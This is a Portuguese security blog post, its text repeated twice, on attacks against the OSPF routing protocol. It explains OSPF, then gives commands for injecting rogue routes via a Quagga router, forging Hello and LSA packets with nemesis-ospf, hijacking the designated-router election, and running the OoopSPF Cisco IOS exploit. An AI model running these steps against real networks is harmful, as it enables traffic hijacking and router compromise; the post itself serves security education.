Petukhov Oleg, advogado de Direito Internacional e proteção de dados pessoais, especialista em informação segurança, proteção de informações e dados pessoais. Canal do Telegram: https://t.me/protecaodaInformacao Grupo em Telegram: https://t.me/protecaodaInformacao1 Site: https://legascom.ru Correio eletrónico: online@legascom.ru #segurançadaInformação #Segurançadainformação O protocolo de roteamento OSPF (Open Shortest Path First) é mais adequado para redes IP unificadas dinâmicas de grande porte com múltiplos caminhos. Normalmente, o protocolo de roteamento OSPF é usado para roteamento em redes corporativas que contêm uma média de 50 LANs e vários milhares de hosts. Para uma melhor compreensão, compare RIP e OSPF. OSPF é um link-state protocol, ao contrário do RIP, que é um distance-vector protocol. Cada roteador atualiza sua tabela de roteamento com base nos vetores de distância que recebe de seus vizinhos. Ao usar o protocolo de Estado do canal, o roteador não compartilha informações de distância com seus vizinhos. Em vez disso, cada roteador verifica ativamente o status de seus canais que levam a cada roteador vizinho e envia essas informações para outros vizinhos, que podem direcionar o fluxo de dados para um sistema autônomo. Cada roteador recebe informações sobre o estado do canal e, com base nisso, constrói uma tabela de roteamento completa. Na rede apresentada, a rota ideal entre Source e Destination será reconhecida com dois roteadores vermelhos. A razão para isso são os canais mais rápidos nesta rota. Em termos práticos, a principal diferença é que o protocolo de Estado do canal é significativamente mais rápido do que o protocolo de vetor de distância. Deve-se notar que, no caso do protocolo de Estado do canal, a convergência da rede é muito mais rápida. O conceito de convergência de Protocolo geralmente se refere à estabilização da rede após mudanças, como falhas de roteador ou falhas de canal. O OSPF também difere do RIP (como muitos outros protocolos de roteamento) na medida em que usa diretamente o IP. Isso significa que ele não usa UDP ou TCP. O OSPF tem seu próprio identificador, que é definido no campo de protocolo no cabeçalho IP. Consequentemente, os ataques ao OSPF são mais complexos do que os ataques ao RIP. As principais dificuldades são as seguintes: 1) o roteador do invasor precisa Samar o pacote HELLO para trocar informações de roteamento com outros roteadores; 2) dependência da hierarquia de roteadores envolvidos na troca de informações de roteamento OSPF. Os roteadores envolvidos na troca podem ter diferentes níveis em um esquema de roteamento hierárquico. Com essas complexidades em mente, vamos considerar os principais ataques ao OSPF. O objetivo deste ataque é apresentar a rota que passa pela máquina do atacante como tendo a maior largura de banda. Um dos critérios para escolher a melhor rota no OSPF é a métrica calculada pela fórmula métrica = reference bandwidth / link bandwidth, onde reference bandwidth = 108, link bandwidth é a largura de banda do canal. Por exemplo, para canais de 100 MBS, o valor da métrica é 1, Para 10 MBS, 10, etc. Assim, o atacante precisa definir uma métrica para sua rota como 1 para priorizá-la. ! ! Zebra configuration saved from vty ! 2005/08/16 01:22:41 ! hostname legitimate.ospfd password 8 p@ssw0rd enable password 8 Cb/yfFsI.abqs log file /var/log/quagga/ospfd.log service advanced-vty service password-encryption ! ! interface eth0 description DMZ_Network ip ospf authentication message-digest ip ospf message-digest-key 1 md5 secret_key ! interface eth1 ! interface 10 ! interface tun10 ! router ospf ospf router-id 192.168.20.111 redistribute kernel redistribute connected network 192.168.20.0/24 area 0.0.0.0 area 0.0.0.0 authentication message-digest ! line vty exec-timeout 30 0 ! Quando a conexão de roteamento OSPF foi feita com sucesso, é necessário verificar o estado atual das informações de roteamento usando o comando show ip opsf: legitimate.ospfd# show ip ospf OSPF Routing Process, Router ID: 192.168.20.111 Supports only single TOS (TOS0) routes This implementation conforms to RFC2328 RFC1583Compatibility flag is disabled OpaqueCapability flag is disabled SPF schedule delay 1 secs, Hold time between two SPFs 1 secs Refresh timer 10 secs This router is an ASBR (injecting external routing information) Number of external LSA 4. Checksum Sum 0x00025f81 Number of opaque AS LSA 0. Checksum Sum 0x00000000 Number of areas attached to this router: 1 Area ID: 0.0.0.0 (Backbone) Number of interfaces in this area: Total: 1, Active: 1 Number of fully adjacent neighbors in this area: 2 Area has message digest authentication SPF algorithm executed 29 times Number of LSA 9 Number of router LSA 4. Checksum Sum 0x00025166 Number of network LSA 1. Checksum Sum 0xffff90fa Number of summary LSA 2. Checksum Sum 0x000166c2 Number of ASBR summary LSA 2. Checksum Sum 0x00014713 Number of NSSA LSA 0. Checksum Sum 0x00000000 Number of opaque link LSA 0. Checksum Sum 0x00000000 Number of opaque area LSA 0. Checksum Sum 0x00000000 Em seguida, adicione as rotas apropriadas: kali / # ip route add 64.100.0.0/14 dev eth0 kali / # ip route add 128.107.0.0/16 dev eth0 Certifique-se de que essas rotas foram adicionadas com sucesso à troca OSPF: legitimate.ospfd# sh ip ospf route ============ OSPF external routing table =========== N E2 64.100.0.0/14 [10/20] tag: 0 via 192.168.66.111, eth0 N E2 128.107.0.0/16 [10/20] tag: 0 via 192.168.66.111, eth0 192.168.66.111 é o carro do intruso. Para realizar esse ataque, você também pode usar o Utilitário Nemesis mencionado anteriormente, ou melhor, sua modificação projetada especificamente para trabalhar com OSPF. Aqui está uma lista de opções deste utilitário: kali / # ./nemesis-ospf OSPF Packet Injection -=The NEMESIS Project 1.1 I 1999, 2000 obecian <obecian@celerity.bartoli.org> OSPF usage: ./nemesis-ospf [-v] [optlist] OSPF Packet Types: -p <OSPF Protocol> -pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router), -pN LSA (network), -pM LSA (summary), -pA LSA (AS) OSPF HELLO options: -N <Neighbor Router Address> -i >Dead Router Interval> -l <OSPF Interval> OSPF DBD options: -z <MAX DGRAM Length> -x <Exchange Type> OSPF LSU options: -B <num of LSAs to bcast> OSPF LSA related options: -L <router id> -G <LSA age> OSPF LSA_RTR options: -u <LSA_RTR num> -y <LSA_RTR router type> -k <LSA_RTR router data> OSPF LSA_AS_EXT options: -f <LSA_AS_EXT forward address> -g <LSA_AS_EXT tag> OSPF options: -m <OSPF Metric> -s <Sequence Number> -r <Advertising Router Address> -n >OSPF Netmask> -O <OSPF Options> -R <OSPF Router id> -A <OSPF Area id> -P <Payload File (Binary or ASCII)> (-v VERBOSE packet struct to stdout) IP Options -S <Source Address> -D <Destination Address> -I <IP ID> -T <IP TTL> -t <IP/OSPF tos> -F <IP frag> -o <IP Options> Data Link Options: -d <Ethernet Device> -H <Source MAC Address> -M <Destination MAC Address> É necessário especificar a fonte, o destinatário, o protocolo e as opções correspondentes. Por exemplo, para enviar um pacote Hello falso OSPF Neighbor, o roteador precisa executar o seguinte comando: Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1 Uma implementação alternativa desse ataque pode ser a geração de atualizações falsas do OSPF LSA, que também pode ser implementada com o nemesis. Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1 Nós nos tornamos um roteador OSPF designated - ou Backup Designated. Redes de médio e grande porte que usam OSPF usam uma hierarquia de roteadores específica. Em grandes redes que usam dezenas ou mesmo centenas de roteadores, manter informações atualizadas é uma tarefa muito intensiva em recursos. A hierarquia é usada para dividir as tarefas de construção de tabelas de roteamento e reduzir a carga nos dispositivos. No nível superior dessa hierarquia, o roteador mais produtivo geralmente está presente. Esse roteador é chamado de roteador projetado. O objetivo deste dispositivo é a transmissão eficiente de informações de roteamento atualizadas para todos os roteadores envolvidos na troca de OSPF. Em caso de falha, o Designated router deve ser substituído pelo Backup designated router, ou seja, o roteador de backup de nível superior. O Designated router é escolhido por votação com base na prioridade do router e no seu endereço IP. Um invasor pode tentar se tornar esse roteador projetado. Se o DR for priorizado em 255 e o BDR em 254, a eleição não pode ser vencida. No entanto, muitos administradores não usam valores de prioridade máxima, atribuindo DR e BDR 100 e 10 ou 2 e 1, respectivamente. Às vezes, DR e BDR são atribuídos os endereços IP mais adequados. Assim, o atacante, a fim de fazer o seu roteador designated, o suficiente para definir como é feita a seleção de DR, e, com base nisso, falsificar a prioridade ou o endereço IP. No Quagga, você pode definir a prioridade usando o seguinte comando: ip ospf priority 255 Se o DR e o BDR tiverem prioridades máximas, você pode tentar desabilitá-los com os vários ataques de rede descritos neste livro e, em seguida, tentar substituir seu roteador falso. Invasão do OSPF MD5. O protocolo OSPF utiliza a autenticação MD5 para proteção. Assim, semelhante à violação do MD5 no RIP, essa proteção também pode ser quebrada aqui. Isso requer Cain & Abel. O processo de hacking em si é semelhante ao descrito nos posts sobre hacking RIP, então não vamos descrevê-lo aqui. Ataque ao OSPF usando o exploit Oopspf. Os roteadores Cisco IOS 11.2, 11.3 e 12.0 podem estourar o buffer quando um grande número de pacotes OSPF HELLO são recebidos. O conceito que implementa essa vulnerabilidade é apresentado no site oficial: arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump *********************************************************************** IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6), RELEASE SOFTWARE (fc3) IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin MEMORY: 61440K/4096K ARRAY: 82A7E210 PID RECORD STACK RETURNA RETURNV NAME <skip> 90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello 150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router <skip> arhontus / # ./OoopSPF Phenoelit OoopSPF Cisco IOS OSPF remote exploit (11.2.-12.0) (C) 2002/2003 FX of Phenoelit <fx@phenoelit.de> Usage: ./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#> Options: -s <src net> Use this network as source (as in target config) -n <src mask> Use this netmask as source (as in target config) -d <target> This is the target router interface IP -f <file> Use this as the new config for the router -t # Use this target value set (see below) -a <area> Use this OSPF area -v Be verbose (-vv or -vvv recommended) -D Directed attack (unicast) for 11.x targets -T Test only – don't send --- barely used options --- -L # Number of neighbors to announce (overflow size) -F # Start of data (seen reverse to overflow) -S # NOP sleet Na próxima postagem, abordaremos as questões de segurança do protocolo de roteamento OSPF.
Компания ЛЕГАС: адвокат, юрист, жалобы в ЕСПЧ
Ambiente com o protocolo OSPF.
Petukhov Oleg, advogado de Direito Internacional e proteção de dados pessoais, especialista em informação segurança, proteção de informações e dados pessoais.
Canal do Telegram: https://t.me/protecaodaInformacao Grupo em Telegram: https://t.me/protecaodaInformacao1 Site: https://legascom.ru Correio eletrónico: online@legascom.ru #segurançadaInformação #Segurançadainformação
O protocolo de roteamento OSPF (Open Shortest Path First) é mais adequado para redes IP unificadas dinâmicas de grande porte com múltiplos caminhos. Normalmente, o protocolo de roteamento OSPF é usado para roteamento em redes corporativas que contêm uma média de 50 LANs e vários milhares de hosts.
Para uma melhor compreensão, compare RIP e OSPF.
OSPF é um link-state protocol, ao contrário do RIP, que é um distance-vector protocol. Cada roteador atualiza sua tabela de roteamento com base nos vetores de distância que recebe de seus vizinhos.
Ao usar o protocolo de Estado do canal, o roteador não compartilha informações de distância com seus vizinhos. Em vez disso, cada roteador verifica ativamente o status de seus canais que levam a cada roteador vizinho e envia essas informações para outros vizinhos, que podem direcionar o fluxo de dados para um sistema autônomo. Cada roteador recebe informações sobre o estado do canal e, com base nisso, constrói uma tabela de roteamento completa.
Na rede apresentada, a rota ideal entre Source e Destination será reconhecida com dois roteadores vermelhos. A razão para isso são os canais mais rápidos nesta rota.
Em termos práticos, a principal diferença é que o protocolo de Estado do canal é significativamente mais rápido do que o protocolo de vetor de distância. Deve-se notar que, no caso do protocolo de Estado do canal, a convergência da rede é muito mais rápida. O conceito de convergência de Protocolo geralmente se refere à estabilização da rede após mudanças, como falhas de roteador ou falhas de canal.
O OSPF também difere do RIP (como muitos outros protocolos de roteamento) na medida em que usa diretamente o IP. Isso significa que ele não usa UDP ou TCP. O OSPF tem seu próprio identificador, que é definido no campo de protocolo no cabeçalho IP.
Consequentemente, os ataques ao OSPF são mais complexos do que os ataques ao RIP. As principais dificuldades são as seguintes:
1) o roteador do invasor precisa Samar o pacote HELLO para trocar informações de roteamento com outros roteadores;
2) dependência da hierarquia de roteadores envolvidos na troca de informações de roteamento OSPF. Os roteadores envolvidos na troca podem ter diferentes níveis em um esquema de roteamento hierárquico.
Com essas complexidades em mente, vamos considerar os principais ataques ao OSPF.
O objetivo deste ataque é apresentar a rota que passa pela máquina do atacante como tendo a maior largura de banda. Um dos critérios para escolher a melhor rota no OSPF é a métrica calculada pela fórmula
métrica = reference bandwidth / link bandwidth,
onde reference bandwidth = 108, link bandwidth é a largura de banda do canal.
Por exemplo, para canais de 100 MBS, o valor da métrica é 1, Para 10 MBS, 10, etc.
Assim, o atacante precisa definir uma métrica para sua rota como 1 para priorizá-la.
!
! Zebra configuration saved from vty
! 2005/08/16 01:22:41
!
hostname legitimate.ospfd
password 8 p@ssw0rd
enable password 8 Cb/yfFsI.abqs
log file /var/log/quagga/ospfd.log
service advanced-vty
service password-encryption
!
!
interface eth0
description DMZ_Network
ip ospf authentication message-digest
ip ospf message-digest-key 1 md5 secret_key
!
interface eth1
!
interface 10
!
interface tun10
!
router ospf
ospf router-id 192.168.20.111
redistribute kernel
redistribute connected
network 192.168.20.0/24 area 0.0.0.0
area 0.0.0.0 authentication message-digest
!
line vty
exec-timeout 30 0
!
Quando a conexão de roteamento OSPF foi feita com sucesso, é necessário verificar o estado atual das informações de roteamento usando o comando show ip opsf:
legitimate.ospfd# show ip ospf
OSPF Routing Process, Router ID: 192.168.20.111
Supports only single TOS (TOS0) routes
This implementation conforms to RFC2328
RFC1583Compatibility flag is disabled
OpaqueCapability flag is disabled
SPF schedule delay 1 secs, Hold time between two SPFs 1 secs
Refresh timer 10 secs
This router is an ASBR (injecting external routing information)
Number of external LSA 4. Checksum Sum 0x00025f81
Number of opaque AS LSA 0. Checksum Sum 0x00000000
Number of areas attached to this router: 1
Area ID: 0.0.0.0 (Backbone)
Number of interfaces in this area: Total: 1, Active: 1
Number of fully adjacent neighbors in this area: 2
Area has message digest authentication
SPF algorithm executed 29 times
Number of LSA 9
Number of router LSA 4. Checksum Sum 0x00025166
Number of network LSA 1. Checksum Sum 0xffff90fa
Number of summary LSA 2. Checksum Sum 0x000166c2
Number of ASBR summary LSA 2. Checksum Sum 0x00014713
Number of NSSA LSA 0. Checksum Sum 0x00000000
Number of opaque link LSA 0. Checksum Sum 0x00000000
Number of opaque area LSA 0. Checksum Sum 0x00000000
Em seguida, adicione as rotas apropriadas:
kali / # ip route add 64.100.0.0/14 dev eth0
kali / # ip route add 128.107.0.0/16 dev eth0
Certifique-se de que essas rotas foram adicionadas com sucesso à troca OSPF:
legitimate.ospfd# sh ip ospf route
============ OSPF external routing table ===========
N E2 64.100.0.0/14 [10/20] tag: 0
via 192.168.66.111, eth0
N E2 128.107.0.0/16 [10/20] tag: 0
via 192.168.66.111, eth0
192.168.66.111 é o carro do intruso.
Para realizar esse ataque, você também pode usar o Utilitário Nemesis mencionado anteriormente, ou melhor, sua modificação projetada especificamente para trabalhar com OSPF. Aqui está uma lista de opções deste utilitário:
kali / # ./nemesis-ospf
OSPF Packet Injection -=The NEMESIS Project 1.1
I 1999, 2000 obecian <obecian@celerity.bartoli.org>
OSPF usage:
./nemesis-ospf [-v] [optlist]
OSPF Packet Types:
-p <OSPF Protocol>
-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),
-pN LSA (network), -pM LSA (summary), -pA LSA (AS)
OSPF HELLO options:
-N <Neighbor Router Address>
-i >Dead Router Interval>
-l <OSPF Interval>
OSPF DBD options:
-z <MAX DGRAM Length>
-x <Exchange Type>
OSPF LSU options:
-B <num of LSAs to bcast>
OSPF LSA related options:
-L <router id>
-G <LSA age>
OSPF LSA_RTR options:
-u <LSA_RTR num>
-y <LSA_RTR router type>
-k <LSA_RTR router data>
OSPF LSA_AS_EXT options:
-f <LSA_AS_EXT forward address>
-g <LSA_AS_EXT tag>
OSPF options:
-m <OSPF Metric>
-s <Sequence Number>
-r <Advertising Router Address>
-n >OSPF Netmask>
-O <OSPF Options>
-R <OSPF Router id>
-A <OSPF Area id>
-P <Payload File (Binary or ASCII)>
(-v VERBOSE packet struct to stdout)
IP Options
-S <Source Address>
-D <Destination Address>
-I <IP ID>
-T <IP TTL>
-t <IP/OSPF tos>
-F <IP frag>
-o <IP Options>
Data Link Options:
-d <Ethernet Device>
-H <Source MAC Address>
-M <Destination MAC Address>
É necessário especificar a fonte, o destinatário, o protocolo e as opções correspondentes. Por exemplo, para enviar um pacote Hello falso OSPF Neighbor, o roteador precisa executar o seguinte comando:
Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1
Uma implementação alternativa desse ataque pode ser a geração de atualizações falsas do OSPF LSA, que também pode ser implementada com o nemesis.
Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1
Nós nos tornamos um roteador OSPF designated - ou Backup Designated.
Redes de médio e grande porte que usam OSPF usam uma hierarquia de roteadores específica. Em grandes redes que usam dezenas ou mesmo centenas de roteadores, manter informações atualizadas é uma tarefa muito intensiva em recursos. A hierarquia é usada para dividir as tarefas de construção de tabelas de roteamento e reduzir a carga nos dispositivos. No nível superior dessa hierarquia, o roteador mais produtivo geralmente está presente. Esse roteador é chamado de roteador projetado. O objetivo deste dispositivo é a transmissão eficiente de informações de roteamento atualizadas para todos os roteadores envolvidos na troca de OSPF.
Em caso de falha, o Designated router deve ser substituído pelo Backup designated router, ou seja, o roteador de backup de nível superior.
O Designated router é escolhido por votação com base na prioridade do router e no seu endereço IP.
Um invasor pode tentar se tornar esse roteador projetado.
Se o DR for priorizado em 255 e o BDR em 254, a eleição não pode ser vencida. No entanto, muitos administradores não usam valores de prioridade máxima, atribuindo DR e BDR 100 e 10 ou 2 e 1, respectivamente. Às vezes, DR e BDR são atribuídos os endereços IP mais adequados.
Assim, o atacante, a fim de fazer o seu roteador designated, o suficiente para definir como é feita a seleção de DR, e, com base nisso, falsificar a prioridade ou o endereço IP.
No Quagga, você pode definir a prioridade usando o seguinte comando:
ip ospf priority 255
Se o DR e o BDR tiverem prioridades máximas, você pode tentar desabilitá-los com os vários ataques de rede descritos neste livro e, em seguida, tentar substituir seu roteador falso.
Invasão do OSPF MD5.
O protocolo OSPF utiliza a autenticação MD5 para proteção. Assim, semelhante à violação do MD5 no RIP, essa proteção também pode ser quebrada aqui.
Isso requer Cain & Abel. O processo de hacking em si é semelhante ao descrito nos posts sobre hacking RIP, então não vamos descrevê-lo aqui.
Ataque ao OSPF usando o exploit Oopspf. Os roteadores Cisco IOS 11.2, 11.3 e 12.0 podem estourar o buffer quando um grande número de pacotes OSPF HELLO são recebidos. O conceito que implementa essa vulnerabilidade é apresentado no site oficial:
arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump
***********************************************************************
IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),
RELEASE SOFTWARE (fc3)
IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin
MEMORY: 61440K/4096K
ARRAY: 82A7E210
PID RECORD STACK RETURNA RETURNV NAME
<skip>
90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello
150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router
<skip>
arhontus / # ./OoopSPF
Phenoelit OoopSPF
Cisco IOS OSPF remote exploit (11.2.-12.0)
(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>
Usage:
./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>
Options:
-s <src net> Use this network as source (as in target config)
-n <src mask> Use this netmask as source (as in target config)
-d <target> This is the target router interface IP
-f <file> Use this as the new config for the router
-t # Use this target value set (see below)
-a <area> Use this OSPF area
-v Be verbose (-vv or -vvv recommended)
-D Directed attack (unicast) for 11.x targets
-T Test only – don't send
--- barely used options ---
-L # Number of neighbors to announce (overflow size)
-F # Start of data (seen reverse to overflow)
-S # NOP sleet
Na próxima postagem, abordaremos as questões de segurança do protocolo de roteamento OSPF.